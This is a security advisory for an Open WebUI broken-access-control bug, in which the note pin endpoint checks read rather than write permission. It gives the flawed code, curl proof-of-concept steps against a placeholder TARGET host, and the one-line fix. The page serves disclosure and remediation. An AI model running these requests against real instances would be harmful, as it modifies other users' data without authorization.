نسخههای متأثر
بازهها نیاز به بررسی دارند.
- نسخههای متأثر
- <= 0.9.2
- نسخهٔ اصلاحشده
- 0.9.3
- نسخههای متأثر
- <0.9.3
- نسخهٔ اصلاحشده
- 0.9.3
بهرهبرداری
شرح آسیبپذیری
Summary
The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.
Details
Affected code: backend/open_webui/routers/notes.py lines 412-444
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
if user.role != 'admin' and (
user.id != note.user_id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='note',
resource_id=note.id,
permission='read', # BUG: should be 'write'
db=db,
)
):
raise HTTPException(...)
note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation
Compare with update endpoint (correct, line 318-327):
async def update_note_by_id(...):
# ...
and not await AccessGrants.has_access(
permission='write', # correctly checks 'write'
)
PoC
Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.
Setup:
UserA creates a note
UserA shares note with UserB with
readpermission viaPOST /api/v1/notes/{id}/access/updatewith{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}
Test:
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)
E2E Verified Result:
Step 1: UserB reads note (READ) -> 200 OK ✓
Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)
Impact
A user with only
readaccess to a shared note can toggle itsis_pinnedstatusThis modifies the note's state without write authorization
The pin status change is visible to the note owner and all other users with access
Privilege escalation from read to write on the pin operation
Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.
Fix
One-line fix — change permission='read' to permission='write' in pin_note_by_id:
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',
This makes the pin endpoint consistent with update and delete endpoints.
پیوندها
- https://github.com/advisories/GHSA-jx2x-j75f-xq3j
- https://github.com/open-webui/open-webui
- https://github.com/open-webui/open-webui/releases/tag/v0.9.3
- https://github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j
- https://nvd.nist.gov/vuln/detail/CVE-2026-45316
- https://pypi.org/project/open-webui
گزارشدهندگان
- qi-scape
- Classic298

